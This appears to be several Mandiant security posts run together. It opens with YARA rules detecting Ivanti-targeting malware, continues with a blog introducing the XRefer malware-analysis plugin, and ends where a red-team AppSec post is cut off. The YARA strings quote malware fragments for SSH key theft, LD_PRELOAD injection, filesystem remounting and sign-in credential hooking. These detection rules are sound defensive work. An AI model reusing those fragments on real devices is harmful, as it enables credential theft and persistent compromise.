YARA Rules rule M_APT_Installer_SPAWNSNAIL_1 { meta: author = "Mandiant" description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH backdoor targeting Ivanti devices. It has an ability to inject a specified binary to other process, running local SSH backdoor when injected to dsmdm process, as well as injecting additional malware to dslogserver" md5 = "e7d24813535f74187db31d4114f607a1" strings: $priv = "PRIVATE KEY-----" ascii fullword $key1 = "%d/id_ed25519" ascii fullword $key2 = "%d/id_ecdsa" ascii fullword $key3 = "%d/id_rsa" ascii fullword $sl1 = "[selinux] enforce" ascii fullword $sl2 = "DSVersion::getReleaseStr()" ascii fullword $ssh1 = "ssh_set_server_callbacks" ascii fullword $ssh2 = "ssh_handle_key_exchange" ascii fullword $ssh3 = "ssh_add_set_channel_callbacks" ascii fullword $ssh4 = "ssh_channel_close" ascii fullword condition: uint32(0) == 0x464c457f and $priv and any of ($key*) and any of ($sl*) and any of ($ssh*) } rule M_APT_Installer_SPAWNANT_1 { meta: author = "Mandiant" description = "Detects SPAWNANT. SPAWNANT is an Installer targeting Ivanti devices. Its purpose is to persistently install other malware from the SPAWN family (SPAWNSNAIL, SPAWNMOLE) as well as drop additional webshells on the box." strings: $s1 = "dspkginstall" ascii fullword $s2 = "vsnprintf" ascii fullword $s3 = "bom_files" ascii fullword $s4 = "do-install" ascii $s5 = "ld.so.preload" ascii $s6 = "LD_PRELOAD" ascii $s7 = "scanner.py" ascii condition: uint32(0) == 0x464c457f and 5 of ($s*) } rule M_Tunneler_SPAWNMOLE_3 { meta: author = "Mandiant" description = "Hunting rule looking for strings and code identified in SPAWNMOLE samples" md5 = "a638fd203ddb540d0484d8e00490df06" strings: $str1 = "/proc/self/exe" $str2 = "/proc/%d/maps" $str3 = "=> encrypt buf" $str4 = "=> decrypt buf" $str5 = "%s <malformed>" $comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2] 3C 01 0F 85 } $comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3 1B 0F 85} $code1 = { 8D 55 B8 8B 45 F0 01 D0 0F B6 10 8B 4D F0 8B 45 0C 01 C8 0F B6 00 31 C2 8D 4D B8 8B 45 F0 01 C8 88 10 83 45 F0 01 83 7D F0 2F 7E D4 } $code2 = { 81 7D E8 E2 E3 49 FB 0F 85 CD 00 00 00 81 7D E4 61 83 C3 1B } condition: uint32(0) == 0x464c457f and (all of ($s*)) and (1 of ($comparison*)) and (1 of ($code*)) } rule M_Dropper_PHASEJAM_1 { meta: author = "Mandiant" description = "Hunting rule looking for strings identified in the PHASEJAM dropper" md5 = "d18e5425ecd9608ecb992606b974e15d" strings: $str1 = "AccessAllow()" $str2 = "/jam/getComponent.cgi" $str3 = "jam/getComponent.cgi.bak" $str4 = "sh=$(echo CnN1Y" $str5 = "up=$(echo CnN1Y" $str6 = "grep -q 'sub AccessAllow()'" $str7 = "cp -f /home/bin/remotedebug /home/bin/remotedebug.bak" $str8 = "chmod 777 /home/bin/remotedebug.bak" $str9 = "cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak" $str10 = "pkill cgi-server" condition: 8 of them and filesize < 20KB } rule M_Credtheft_DRYHOOK_1 { meta: author = "Mandiant" description = "Hunting rule looking for strings identified in the DRYHOOK credential stealer" md5 = "61bb586dc4e047ab081ef6ca65684e48" strings: $str1 = "/home/perl/DSAuth.pm" $str2 = "replace_content" $str3 = "replace1_content" $str4 = "replace2_content" $str5 = "pkill cgi-server" $str6 = "setPrompt =" $str7 = "runSignin = \\*DSAuthc::RealmSignin_runSignin" $str8 = "/bin/mount -o remount,rw / > /dev/null 2>&1" $str9 = {64 61 74 61 20 3d 20 72 65 2e 73 75 62 28 62 22 5c 2a 72 75 6e 53 69 67 6e 69 6e 45 42 53 4c 20 3d 2e 2a 3b 22 2c 62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 72 65 70 6c 61 63 65 32 5f 63 6f 6e 74 65 6e 74 2e 65 6e 63 6f 64 65 28 29 29 2e 64 65 63 6f 64 65 28 29 2e 65 6e 63 6f 64 65 28 22 75 6e 69 63 6f 64 65 5f 65 73 63 61 70 65 22 29 2c 64 61 74 61 29} condition: 8 of them and filesize < 20KB } Changelog

Date

Description

Jan. 8, 2025

DRYHOOK YARA MD5 updated to 61bb586dc4e047ab081ef6ca65684e48

Jan. 9, 2025

SPAWNMOLE YARA Signature update to rule M_Tunneler_SPAWNMOLE_3

Jan. 17, 2025

Attribution updated to UNC5221

Written by: Muhammad Umair

Here at Mandiant FLARE, malware reverse engineering is a regular part of our day jobs. At times we are required to perform basic triages on binaries, where every hour saved is critical to incident response timelines. At other times we examine complicated samples for days developing comprehensive analysis reports. As we face larger and more complex malware, often written in modern languages like Rust, knowing where to go, what to look at, and developing a "map" of the malware forms a significant effort that directly impacts our response times and triage effectiveness.

Today we introduce a new tool, XRefer (pronounced eks-reffer), which aims to shoulder some of this burden for anyone who endeavors to go down these rabbit holes like us, helping analysts get to the important parts faster while maintaining the context of their investigation.

aside_block

<ListValue: [StructValue([('title', 'Get XRefer now!'), ('body', <wagtail.rich_text.RichText object at 0x3e886e652160>), ('btn_text', 'Download'), ('href', 'https://github.com/mandiant/xrefer'), ('image', None)])]>

Introduction

XRefer provides a persistent companion view to assist analysts in navigating and understanding binaries. It's a modular and extensible tool that comes in the form of an IDA Pro plugin. Figure 1 shows the XRefer interface.

Figure 1: XRefer opened as a side pane, displaying Cluster Tables

At its core, XRefer offers two complementary navigation paradigms:

1. Gemini-powered cluster analysis, which decomposes the binary into functional units and leverages the large language model (LLM) to describe their purpose and relationships. Think of this like viewing a city from Google Maps: you can quickly identify the business districts, residential areas, and green spaces. In binary terms, this feature helps identify functional groupings like command-and-control communication, persistence mechanisms, or information-gathering routines, giving you a strategic view of the malware's architecture.

2. A context-aware view, which dynamically updates based on your current location in the code. This view presents both immediate artifacts of the current function and those from related functions along the same execution path. It's similar to standing outside a shopping mall with X-ray vision: without entering each store, you can see the restaurant menus, shop inventories, and services offered on each floor. This allows you to make informed decisions about which areas deserve deeper investigation. Just as a mall directory helps you efficiently plan your shopping route, XRefer's context-aware view helps analysts quickly identify relevant code paths by surfacing APIs, strings, capa matches, library information, and other artifacts that might otherwise require manual exploration of multiple functions. 

Let's take a closer look at each of these paradigms, beginning with cluster-based navigation.

The Birds-Eye View: Cluster-Based Binary Navigation

One of XRefer's key features is its ability to break down a binary into functional units, providing an immediate high-level understanding of its architecture. To demonstrate this capability, let's examine an ALPHV ransomware sample written in Rust. Despite containing over 2,700 functions, XRefer's analysis organizes key functionality of this complex binary into clear functional clusters, as shown in the Cluster Relationship graph in Figure 2.

Figure 2: Cluster Relationship graph view

These functional clusters are descriptively labelled as follows:

• Ransomware Main Module

• Configuration Parsing Module    

• User Profile and Process Information Module

• Privilege Escalation, System Information, and AntiAnalysis Module

• File Processing Pipeline Module

• Network Communication and Cluster Management Module

• Thread Synchronization and Keyed Events Module

• File Path and Encryption Key Generation Module

• Console Clearing Module

• UI Rendering and Console Output Module

• Image Generation and Encoding Module

• Data Encoding and Hashing Module

• File Discovery and Dispatch Module

• Thread Synchronization and Time Management Module

While each cluster contains deeper sub-clusters that analysts can explore, we'll focus on the high-level view for now. The clustering and relationship identification is performed through static analysis. XRefer then leverages Gemini to provide natural language descriptions of each cluster and how they relate to one another. Figure 3 illustrates key components in the graph navigation interface.

Figure 3: Cluster graph view

At the top, the view provides a brief description of the binary's functionality and its category. Next, it describes the currently selected cluster and its relationships to other clusters. For convenient navigation, the cross-references of that cluster are listed, followed by a visual graph representation. For readability, these details are transcribed in Table 1.

BINARY CATEGORY

Ransomware

BINARY DESCRIPTION

This binary is ransomware that encrypts files using various ciphers, propagates over the network, and employs anti-analysis techniques.

CLUSTER

Image Generation and Encoding Module

DESCRIPTION

Generates and encodes images in PNG format

RELATIONSHIPS

Uses embedded-graphics and PNG crates for image generation, DEFLATE compression (cluster.id.0061), and PNG encoding. Handles image rendering and encoding errors.

CROSS REFERENCES

<functon_name> - cluster.id.0001 - Ransomware Main Module

<function_address>

Table 1: Transcribed information from Figure 3

The clusters can also be viewed in a linear format within XRefer's interface, as shown in Figure 1.

To better demonstrate cluster navigation visually, we've used a lightweight backdoor that displays more clearly on screen. Figure 4 provides a quick glimpse of the cluster navigation workflow, showing how analysts can quickly browse clusters and navigate to their respective functions in the disassembly or pseudocode views.

Figure 4: Hover over clusters/functions to provide information pop ups. Click to navigate inside them. Double click on addresses to navigate to those functions.

The navigation can automatically sync with clusters—when you navigate to a function that belongs to a known cluster, XRefer can automatically open that cluster's view and highlight the current function within it. XRefer offers two approaches to clustering:

1. Cluster all paths that are part of XRefer’s analysis (XRefer’s analysis is discussed later)

2. Cluster a focused subset of functions, pre-filtered by Gemini based on their artifacts

Note: Throughout this blog post, we use the term "artifacts" to refer to binary elements like strings, API calls, library references, and other extractable information that help understand program behavior.

By default, XRefer employs the first method. While this approach is comprehensive, it may create additional clusters around unidentified libraries in the program. These library clusters are typically easy to identify and exclude from analysis.

The second clustering method is optionally available via the context menu and proves valuable for automatically filtering out library, runtime/compiler artifacts, and repetitive noisy functions. However, due to the inherent nature of LLMs, this approach can be inconsistent—artifacts might be missed, and results can vary between runs. While missed artifacts can usually be recovered through a quick re-run of the LLM analysis, this variability remains an inherent characteristic of this approach.

XRefer can also display these LLM-filtered artifacts in a dedicated view, separate from the clustering visualization. This view, shown in Figure 5, provides analysts with a streamlined overview of the binary's most relevant artifacts while filtering out noise like library functions and runtime artifacts.

Figure 5: Interesting artifacts and their corresponding functions filtered out by Gemini

It's important to note that clusters aren't perfect boundaries. They may not capture every related function and can contain functions that are reused across different parts of the binary. However, any missed related functions will typically be found in the vicinity of their logical cluster, and reused functions are generally easy to identify at a glance. The goal of clustering is not to create strict divisions, but rather to establish general zones and subzones of related functionality.

Function Labeling: Prefixing Cluster Membership in Names

XRefer can optionally encode cluster information directly into IDA's interface by prefixing function names. These labels provide architectural context directly inside the disassembly and pseudocode windows. Table 2 shows the classification system used to prefix functions based on their cluster relationships.

Prefix

Description

<cluster>_

Single-cluster functions using Gemini-suggested prefixes specific to their cluster's role

xutil_

Utility functions that serve multiple clusters (e.g., memory operations, string handling, logging, runtime operations)

xint_

Intermediate nodes that connect functions within or between clusters but aren't strictly part of any cluster

xunc_

Functions that don't belong to any cluster

Table 2: XRefer's function prefix categories and their architectural significance Down in the Trenches: Context-Aware Code Navigation

Having seen how XRefer's cluster analysis provides a high-level view of binary architecture, let's examine its second navigation paradigm: a context-aware view that updates automatically based on the function currently being analyzed.

Figure 6: Function context table

The function context table (shown in Figure 6) organizes information into three main components:

1. Cluster Membership - At the top, displaying which clusters the current function belongs to. Functions appearing in multiple clusters often indicate utility or helper functions rather than specialized functionality.

2. Direct References - Listed under "DIRECT XREFS," showing artifacts directly used or called by the current function.

3. Indirect References - Categorized tables prefixed with "INDIRECT," showing artifacts used by all functions called through the current function's execution paths. This provides a preview of downstream functionality without requiring manual traversal of each function.

Both direct and indirect references include:

• APIs and API traces

• Strings

• Libraries

• capa results

For direct references, each artifact is listed with its reference addresses. Double clicking these addresses jumps to their exact location in the current function. For indirect artifacts, the displayed addresses are different—they point to function calls within the current function that eventually lead to those artifacts through execution paths. This x-ray-like capability eliminates the tedious process of diving into nested function calls to discover artifacts and functionality, only to return to the primary function.

XRefer extends this visibility through its Peek View feature, accessible via the context menu. When enabled, clicking on any function dynamically filters the artifact view to display only those elements that lie along its execution paths. This instant preview allows analysts to quickly assess a function's downstream behavior without manually tracing through its call graph, significantly streamlining the exploration of complex codebases. Figure 7 demonstrates how this functions in practice.

Figure 7: Peek View filtering artifacts based on selected function's execution paths

Beyond Peek View, XRefer offers on-demand artifact filtering through key bindings. A core design principle of XRefer is the uniform treatment of all artifact types—any operation available for one type of artifact is consistently available across all others. For instance, path analysis capabilities that work with API references can be similarly applied to capa results. Let's examine the key functionalities available under this navigation paradigm.

Path Graphs

XRefer can generate and visualize all simple paths from the entry point to any type of artifact. These interactive graphs serve as powerful navigation tools, particularly when analysts need to trace specific functionality through the binary. Figure 8 demonstrates this capability by displaying all execution paths leading to GetComputerNameW in the ALPHV ransomware sample. Each function node in the graph provides a contextual pop-up showing its complete artifact inventory.

Figure 8: Searching for an artifact, drawing its path graph, and using it to navigate while glancing over function artifacts through pop-ups

Path graphs include a simplification feature that can reduce visual complexity by omitting nodes that either contain no artifacts or contain only excluded artifacts (exclusions are discussed later). Figure 10 illustrates this simplification, where the graph is reduced from 15 to 12 nodes, representing a 20% reduction in complexity. While more complex graphs can achieve higher simplification ratios, their full visualization extends beyond the practical constraints of this blog post.

Figure 9 (left) and Figure 10 (right): Showing side by side versions of an example normal path graph and its corresponding simplified path graph with 20% reduction

Search

XRefer provides unified search functionality across all artifact types directly within the function context table view. Figure 8 demonstrates this capability while searching for the API reference used in path graph generation.

Cross References++

XRefer implements its own cross-reference view that goes beyond IDA Pro's traditional functionality (accessed via "X"). This view, similarly triggered by pressing "X" on any artifact, encompasses all artifact types, including elements that IDA Pro cannot typically track, such as capa results, APIs identified through dynamic traces, and strings extracted by language-specific modules like the Rust parser.

Trace Navigation

While API traces are integrated throughout XRefer's interface—from function context tables (Figure 6) to information pop-ups (Figure 8)—the plugin also offers dedicated trace navigation modes. These three modes, illustrated in Figure 11, provide views of API calls with their arguments, each offering different levels of scope:

• Function Scope - Shows only the API calls made directly within the current function, providing a clean view of its immediate external interactions

• Path Scope - Reveals all API calls that occur downstream from the current function, following its execution paths. This helps analysts understand the complete chain of system interactions triggered by a particular function.

• Full Trace - Displays the complete API trace captured during dynamic analysis, regardless of static code paths. Useful when you may have calls associated with encrypted regions in the binary or generally from dynamically resolved APIs.

Figure 11: API trace-based navigation

Artifact Exclusion

XRefer supports artifact exclusion to reduce noise when analyzing large, complex binaries. Excluded artifacts are omitted from multiple views and processes including the main interface, cluster analysis, and simplified path graphs.

Artifacts can be excluded in two ways:

• Directly through XRefer's interface, where multiple artifacts can be selected and excluded using key bindings

• Via the settings dialog (shown in Figure 12), which supports wildcard-based exclusion patterns. For instance, noisy Rust standard library references can be filtered using patterns like std*, providing efficient bulk exclusion of known noise sources.

These exclusions persist across sessions, allowing analysts to maintain their preferred filtering setup.

Figure 12: Shows wildcarding artifacts for exclusion from the Settings Dialog

Specialized Rust Support

XRefer has a specialized Rust module (discussed later) that extracts strings and library usage information. During Rust compilation, the compiler embeds library source paths that typically appear adjacent to their corresponding library code within functions. These compiler-inserted references serve two key purposes as function artifacts:

• Identifying library dependencies and their specific functionality within code sections

• Providing positional hints that help locate where library code is actually implemented within functions

This compiler-provided context feeds into both XRefer's cluster analysis and enhances manual navigation, helping analysts quickly locate relevant code regions while understanding which Rust library implementations are being used. The module also includes a basic function renaming capability for Rust binaries, which will be covered in detail later.

Auxiliary Features

Before concluding this section, two standalone features warrant mention, though they operate independently of the clustering mechanism and exclusion system.

Boundary Method Scanning: XRefer allows multiple artifacts to be selected in the function context view for boundary scanning. This operation identifies the Lowest Common Ancestor (LCA) in the call graph for all selected artifacts. In niche scenarios, this can be used to isolate specific functionality based on a subset of artifacts and identify the most specific parent function that encompasses all selected artifacts without intermediate functions. While originally intended to serve a larger purpose in the clustering mechanism, the clustering system ultimately took a different direction, leaving this as a standalone feature.

String Lookups: During processing, XRefer can optionally query strings against public Git repositories through Grep App for categorization purposes. This is strictly a placeholder implementation; locally maintained databases by teams or individuals would be better suited for these queries. The feature operates independently of XRefer's broader ecosystem, primarily serving to categorize known strings for noise reduction or occasional OSINT insights.

Under the Hood: XRefer's Analysis Engine

Having explored both navigation paradigms, let's examine the technical foundation that makes them possible. While a deep dive into XRefer's internals would warrant its own blog post, understanding a high-level view of its analysis pipelines and extensibility will help set the context.

Ingestion Sources

XRefer builds its understanding of binaries through two primary data ingestion channels:

1. Internal - Whereby it extracts and processes all the imports, strings and any library data from the binary itself. This also involves language-specific modules. XRefer comes out of the box with a Rust-specific language module, and more can be added.

2. External - This includes API traces from third-party tooling and results from capa’s analysis. XRefer currently supports ingestion of API traces from VMRay’s sandbox and Cape Sandbox. Additional modules can be written, for instance, TTD traces would be a good candidate.

Note: Out of the mentioned traces, VMRay produces the best results. Cape sandbox, while good, hooks NT* APIs and is much noisier in terms of visual display as it loses 1:1 API to import mapping. Unfortunately, that’s one of the very few open-source solutions available right now.

XRefer feeds the available data along with cluster relationships in the form of call flows to the LLM, which generates semantic descriptions for each cluster, their relationships, and the overall binary. As demonstrated in Table 3, while external data sources enhance the analysis, XRefer can produce meaningful results even with just internal binary analysis.

With External Data Sources (API Traces/capa)

Without External Data Sources

• Ransomware Main Module

1. Configuration Parsing Module    

2. User Profile and Process Information Module

3. Privilege Escalation, System Information, and AntiAnalysis Module

4. File Processing Pipeline Module

5. Network Communication and Cluster Management Module

6. Thread Synchronization and Keyed Events Module

7. File Path and Encryption Key Generation Module

8. Console Clearing Module

9. UI Rendering and Console Output Module

10. Image Generation and Encoding Module

11. Data Encoding and Hashing Module

12. File Discovery and Dispatch Module

13. Thread Synchronization and Time Management Module

• Ransomware Main Module

1. Configuration Parsing Module

2. User Profile Retrieval Module

3. Privilege Escalation and System Manipulation Module

4. File Processing Pipeline Management Module

5. Cluster Communication Module

6. Synchronization Primitives Module

7. Filename Generation and Encryption Key Generation Module

8. Console Clearing Module

9. UI Rendering Module

10. Desktop Note and Wallpaper Module

11. Soft Persistence Module

12. File Queue Management Module

13. Time Handling Module

Table 3: Example cluster analysis showing how results vary with and without external data (API traces/capa) for an ALPHV sample. Actual analysis quality for any binary depends on the richness of both internal binary artifacts and external data sources.

Note: While LLM-generated labels and descriptions may vary in phrasing between runs, they tend to consistently convey similar semantic information.

Language Modules and Rust

XRefer supports language-specific analysis through dedicated modules and ships with a module for Rust binaries. This allows for specialized handling of language-specific characteristics. The Rust module provides:

• Identification of rust_main 

• Parsing of Rust thread objects and their indirect calls, improving path coverage

• Extraction of library/crate information for better code understanding in both cluster analysis and context tables

• Limited function renaming capabilities for a subset of functions where no inlining conflicts are detected, based on compiler strings and excluding runtime/std/internal libraries

Figure 13 (left) and Figure 14 (right): Subset of library information extracted from ALPHV. The categorization seen here is also performed via Gemini.

Rust Function Renaming

The Rust module includes a limited function renaming capability for Rust binaries, though its approach is deliberately restrictive. While XRefer is not a function identification tool, it can leverage compiler strings embedded in Rust binaries for basic renaming. Due to the prevalence of inlining from compiler optimizations, the module only renames functions where no inlining is detected and excludes internal references (std*, core*, alloc*, etc.) which are particularly prone to inlining.

The renaming doesn't provide the full function names but does include up to the submodule name. Again, this is not a substitute for proper function identification as only a very small handful of functions can be renamed this way. However, since this capability is not version-specific to the toolchain, platform, and/or crate, it represents a low-hanging fruit that would have been unwise to ignore. As an example, in the ALPHV binary, the Rust module was safely able to rename 362 out of ~2,700 functions.

Figure 15: Subset of functions renamed via XRefer’s Rust module

LLM Analysis and Extensibility

XRefer ships with support for Gemini through a modular provider system. The architecture is designed for extensibility—new LLM providers can be added by implementing a simple interface that handles model-specific requirements like rate limiting and token management. It should be noted that cluster analysis, especially for large binaries, requires large context windows, an area in which Gemini models excel compared to other models.

Similarly, the prompt system is built to be extensible. New prompts can be easily added by creating prompt templates and corresponding response parsers. This allows XRefer's analysis capabilities to grow as new use cases are identified or as LLM technology evolves.

It's important to note that XRefer currently limits its LLM analysis to artifacts and function/cluster relationships (in the form of call flows) without submitting any actual code. For example, when analyzing a network communication module, XRefer provides the LLM with a rich set of artifacts like API calls (send, recv), strings (URLs, User-Agents), dynamic API traces, capa matches (network communication, socket operations), library/crate information, and their relationships in the call graph, rather than the underlying implementation code. This is just one simplified example. The actual analysis encompasses the full spectrum of artifacts XRefer collects. 

The effectiveness of this approach depends on the successful extraction of these artifacts, whether through specialized language modules, internal binary analysis, or ingestion of external data sources. When artifacts are available, the Gemini-powered analysis effectively breaks down binary functionality into distinct functional units, providing an explorable architectural view of the binary. Code-level analysis represents the next logical step in XRefer's evolution.

Path Analysis: The Foundation of XRefer's Navigation

XRefer's architecture is fundamentally entrypoint-centric. It constructs execution paths between entry points and functions containing artifacts, forming the backbone of both its clustering algorithm and the context-aware navigation capabilities described earlier. While clustering can be implemented without path analysis, our current approach of path-based clustering consistently produces decent results. Standalone clustering may come as a feature later down the road.

While entry point selection for PE executables is straightforward and automatic, DLL analysis may require analysts to select specific exports as starting points, since the default entry point might not be the most interesting one. XRefer allows analysts to analyze multiple entry points, providing flexibility in how they approach the binary.

Path analysis introduces computational overhead, but the benefits it provides to both navigation capabilities and clustering accuracy make this trade-off worthwhile. It's important to note that this overhead is entirely front-loaded into the initial processing phase. Once analysis is complete, the pre-processed results ensure fluid navigation and responsiveness during actual usage. Table 4 shows what analysis times look like for several large binaries.

SHA256

Function Count

Size

Analysis Time

3e4d512ad2aa464ecc0a10397a009f15904e17504feb6e14efe3e68a7cfe14ae

2,677

5.5 MB

209 sec

9a85242fbb7d81452866a494f187640d6727a322882558497e4435eefad01e75

60,508

13.0 MB

428 sec

0f11aeecbde1f355d26c9d406dad80cb0ae8536aea31fdddaf915d4afd434f3f

1,756

3.0 MB

262 sec

c6b727d7cff517577db838db18ad17b46334d3c91c2e50893634e56cdc19e41f

2,773

3.0 MB

400 sec

3e91e5444e37283a227c20a79d1dd6cd722766fd7c92208254ed8b5abca6a231

1,196

352 KB

118 sec

Table 4: Analysis-time listing for an arbitrary set of binaries

Note: Times include LLM queries for artifact discovery and cluster analysis. Actual duration varies based on system capabilities and binary complexity—from seconds for simple binaries to longer for complex ones. This listing aims to provide a general sense of expected time scales.

A notable limitation of path analysis arises in binaries with numerous indirect calls, where complete coverage cannot be guaranteed without proper resolution of these indirect targets.

Configuration

All LLM configurations and paths for external data sources can be managed through XRefer's settings dialog.

Figure 16: XRefer settings dialog box

XRefer supports the ingestion of indirect cross-references that IDA cannot resolve statically. Examples can include dynamically resolved addresses for indirect calls, such as virtual function calls through vtables in C++ binaries and function pointer calls. These resolutions can be imported from sources like debugger scripts or binary instrumentation frameworks, enabling XRefer to construct more complete execution paths.

UI/UX and Compatibility

XRefer is implemented as an interactive TUI (Text-based User Interface) plugin. While IDA's simplecustviewer_t wasn't designed to be a proper TUI system, additional Qt implementations have been added to improve the interface. Users may encounter bugs, which will be addressed as they are reported.

Some rules of thumb when working with XRefer:

• All addresses, regardless of where they are displayed in the TUI, are navigable by double clicking.

• Cluster IDs (cluster.id.xxxx), regardless of where they show up in the TUI, are also explorable by single clicking.

• If an address is the start of a function, hovering over it will always display an information pop-up about that function.

• Hovering over cluster IDs will display a pop-up with details about that cluster.

• Press ESC to return to the previous location/state (unless a graph is explicitly "pinned").

XRefer maintains state within the current function and resets upon navigation to a new function. For detailed usage instructions and key bindings, please refer to the XRefer repository.

It is recommended to enable auto-resizing, which automatically adjusts XRefer's window dimensions when viewing graphs and restores default size upon exit. While XRefer is designed to remain open as a persistent companion view, it includes an expand/collapse feature for quick access when needed. Figure 17 demonstrates these interface elements.

Figure 17: Auto-resizing and widget collapse/expansion

XRefer is recommended for use with either IDA <= 8.3 or IDA >= 9.0. IDA 8.4 contains a simplecustviewer_t visual bug that causes washed-out colors in several areas. Due primarily to the author's preference for dark mode, the plugin currently provides better color contrast in dark themes compared to the default theme, though this may be balanced in future releases.

XRefer has been primarily tested with Windows binaries. While there are no fundamental limitations preventing support for ELF or Mach-O formats and XRefer may just work out of the box with most of them, some tweaks or implementation fixes might be required to ensure proper support.

How to Get XRefer

XRefer is now available as an open-source tool in Mandiant's GitHub repository. Installation requires installing Python dependencies from requirements.txt and copying the XRefer plugin to IDA's plugin directory.

Note that one of the dependencies, asciinet, requires Java (JRE or OpenJDK) to be configured on your system. For detailed installation instructions, please refer to the XRefer repository.

Another alternative is to use FLARE-VM, which sets up a reverse engineering environment with a lot of useful tools, including XRefer.

Future Work

This is the initial release of XRefer and thus includes some implementations that are early in their maturity. While LLMs may eventually evolve to accurately interpret all forms of source and compiled code, the current approach focuses on systematic analysis rather than treating LLMs as a black box for binary summarization. This methodology not only provides high-level insights but actively supports analysts in their detailed investigation workflows.

Immediate areas for future development include, beyond bug fixes and UI/UX refinements:

• Extend cluster analysis to include code submissions, improving not just analysis at scale but also providing targeted insights for manual reverse engineering workflows

• Research and potentially implement path-independent clustering methodologies (the primary benefit here would be speed improvements if path analysis is not required)

• Implement LLM-based cluster merging (helps neatly tuck away similar clusters such as those belonging to a library)

• Ensure proper support for non-Windows file formats

• Add support for other language modules, particularly Golang

Currently, XRefer is tightly coupled with IDA due to its TUI implementation. As the core matures, the processing engine may be decoupled into a standalone package.

Acknowledgements

Special thanks to Genwei Jiang and Mustafa Nasser for their code contributions to XRefer and to Ana Martinez Gomez for including XRefer in the default FLARE-VM configuration. Additional thanks to the FLARE team members who provided valuable feedback through their use of XRefer.

Written by: Ilyass El Hadi, Louis Dion-Marcil, Charles Prevost

Executive Summary

Whether through a comprehensive Red Team engagement or a targeted external assessment, incorporating application security (AppSec) expertise enables organizations to better simulate the tactics and techniques of modern adversaries. This includes:

• Leveraging minimal access for maximum impact: There is no need for high privilege escalation. Red Team objectives can often be achieved with limited access, highlighting the importance of securing all internet-facing assets.

• Recognizing the potential of low-impact vulnerabilities through vulnerability chaining: Low- and medium-impact vulnerabilities can be exploited in combination to achieve significant impact.

• Developing your own exploits: Skilled adversaries or consultants will invest the time and resources to reverse-engineer and/or find zero-day vulnerabilities in the absence of public proof-of-concept exploits.

• Employing diverse skill sets: Red Team members should include individuals with a wide range of expertise, including AppSec.

• Fostering collaboration: Combining diverse skill sets can spark creativity and lead to more effective attack simulations.

• Integrating AppSec throughout the engagement: Offensive application security contributions can benefit Red Teams at every stage of the project.

By embracing this approach, organizations can proactively defend against a constantly evolving threat landscape, ensuring a more robust and resilient security posture.

Introduction

In today's rapidly evolving threat landscape, organizations find themselves engaged in an ongoing arms race against increasingly sophisticated cyber criminals and nation-state actors. To stay ahead of these adversaries, many organizations turn to Red Team assessments, simulating real-world attacks to expose vulnerabilities before they are exploited. However, many traditional Red Team assessments typically prioritize attacking network and infrastructure components, often overlooking a critical aspect of modern attack surfaces: web applications.

This gap hasn't gone unnoticed by cyber criminals. In recent years, industry reports consistently highlight the evolving trend of attackers exploiting public-facing application vulnerabilities as a primary entry point into organizations. This aligns with Mandiant's observations of common tactics used by threat actors, as observed in our 2024 M-Trends Report: “In intrusions where the initial intrusion vector was identified, 38% of intrusions started with an exploit. This is a six percentage point increase from 2022.”

The 2024 M-Trends Report also documents that 28.7% of Initial Compromise access is obtained through exploiting public-facing web applications (MITRE T1190).

Figure 1: Initial Compromise statistics from the M-Trends report

At Mandiant, we recognize this gap and are committed to closing it by integrating AppSec expertise into our Red Team assessments. This optional approach is offered to customers who wish to increase the coverage of their external perimeters to gain a deeper understanding of their security posture. While most of the infrastructure typically receive a considerable amount of security scrutiny, web applications and edge devices often lack the same level of consideration, making them prime targets for attackers.

This integrated approach is not limited to full-scope Red Team engagements. Organizations with varying maturity levels can also leverage application security expertise within the context of focused external perimeter assessments. These assessments provide a valuable and cost-effective way to gain insights into the security of internet-facing applications and systems, without the need for a Red Team exercise.

The Role of Application Security in Red Team Assessments

The integration of AppSec specialists into Red Team assessments manifests in a unique staffing approach. The role of this specialist is to augment the Red Team's capabilities with the ever-evolving exploitation techniques used by adversaries to breach organizations from the external perimeter.

The AppSec specialist will often get involved as early as possible on an engagement, even during the scoping and early planning stages. They perform a meticulous review of the target perimeter, mapping out the various application inventory and identifying vulnerabilities within the various components of web applications and application programming interfaces (APIs) exposed to the internet.

While examination is underway, Red Team operators concurrently focus on other crucial aspects of the assessment, including infrastructure preparation, crafting convincing phishing campaigns, developing and refining tools, and creating effective payloads that will evade the target environment's controls and defense mechanisms.

Once an AppSec vulnerability of critical impact is discovered, the team will generally proceed to its exploitation, notifying our primary point of contact of our preliminary findings and validating the potential impacts of our discovery. It is important to note that a successful finding doesn't always result in a direct foothold in the target environment. The intelligence gathered through the extensive reconnaissance and perimeter review phase can be repurposed for various aspects of the Red Team mission. This could include:  

• Identifying valuable reconnaissance targets or technologies to fine-tune a social engineering campaign

• Further tailoring an attack payload

• Establishing a temporary foothold that might lead to further exploitation

• Hosting malicious payloads for later stages of the attack simulation

Once the external perimeter examination phase is complete, our Red Team operators will begin carrying out the remaining mission objectives, empowered with the AppSec team's insights and intelligence, including identified vulnerabilities and associated exploits. Even though the Red Team operators will perform most of the remaining activities at this point, the AppSec consultants will stay close to the engagement and often engage to further support internal exploitations efforts. For example, applications that are only accessible internally generally get a lot less scrutiny and are consequently assessed much less frequently than externally accessible assets. 

By incorporating AppSec expertise, we've achieved a significant increase of engagements where our Red Team successfully gained a significant advantage during a customer's external perimeter review, such as obtaining a foothold or gaining access to confidential information.  This overall approach translates to a more realistic and valuable assessment for our customers, ensuring comprehensive coverage of both network and application security risks. By uncovering and addressing vulnerabilities across the entire attack surface, Mandiant empowers organizations to proactively defend against a wide array of threats, strengthening their overall security posture.

Case Studies: Demonstrating the Impact of Application Security Support

In this section, we focus on four of the multiple real-world scenarios where the support of Mandiant's AppSec Team has significantly enhanced the effectiveness of Red Team assessments. Each case study highlights the attack vectors, the narrative behind the attack, key takeaways from the experience, and the associated assumptions and misconceptions.

These case studies highlight the value of incorporating application security support in Red Team engagements, while also offering valuable learning opportunities that promote collaboration and knowledge sharing.

Unlocking the Vault: Exposed API Key to Sensitive Internal Document Access Context

A company in the energy sector engaged Mandiant to assess the efficiency of its cybersecurity team's abilities in detection, prevention, and response. Because the organization had grown significantly in the past years following multiple acquisitions, Mandiant suggested an increased focus on their external perimeter. This would allow the organization to measure the subsidiaries' external security posture, compared to the parent organization's.

Target of Interest

